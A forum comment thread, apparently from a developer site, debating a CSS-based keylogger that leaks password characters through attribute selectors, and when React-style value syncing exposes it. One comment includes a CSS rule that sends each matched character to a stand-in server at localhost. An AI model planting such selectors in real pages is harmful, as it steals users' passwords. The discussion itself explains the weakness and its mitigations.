by rickdmer · 8y ago · 0 comments
Edit: This doesn't seem to work for me in Chrome 63.0.3239.132
Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value
The apps I've worked on weren't full SPAs, so I just used plain HTML for the login form.
this.input.value = 'password';
This would be fine. However updating the attribute (the way React recommends it with controlled components) would be something like: <input type="text" value={this.state.value} onChange={this.handleChange} />
This would be vulnerable to the the CSS keylogger.You can use a form and grab the values on submission.
<form onSubmit={this.handleSubmission}>
<input type="password" name="password" />
</form>
this.handleSubmission = event => {
// access to event.target.password.value
}Basically, the value of the input is tied to a "state engine" that acts as a single source of truth and when the user types in the input you'll update the state so that the rest of the application can know what's going on in the form without accessing the DOM.
The state engine is a fancy word for a variable that has a special setter function so that the changes can be reflected globally.
In something like 13000 selectors you could easily get the first 2, last 2, and any characters in the middle that are in the password making targeted attacks significantly easier. (This is based on very-very rough napkin math assuming an ~80 character dictionary for upper/lower, numbers, and "symbols" since I didn't want to count)
That's a lot, but it's well within the realm of possibility (it looks like that would end up as about a 1mb css file)
Make an input field red when it contains an invalid character?
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/in...
Another example where reading the input might be nice:
input[type="cc-number"][value^="4"]+.cc-system-icon {
background-image: url('visa.png');
}input[type="cc-number"][value^="5"]+.cc-system-icon {
background-image: url('master-card.png');
}The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value).
This means that both:
- typing the password
- setting the password via element.value=foo
will not work
The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.
Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
[0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...no permutations needed
The real deal here is, it depends on some js code updating the dom for each key press, which is BAAAD. Not an useless keylogger, because it reminds a vulnerability product of choosing a bad decision.
Edit: nm. My mistake, not as easy as that using only css!
That's cool, but you obviously have different requirements for the pages you build, and likely aren't in the SPA space, so your better-than-thou outlook doesn't apply.
second stage is 'OMFG this website doesn't work for me. How could developer not think about my entitled ass and not spend 2x time to make it work without JS?'
It's the only reasonable response to the user-hostile dumpster fire that is the current web. Javascript has made the web better in a small handful of ways, and made the web significantly worse in every other way.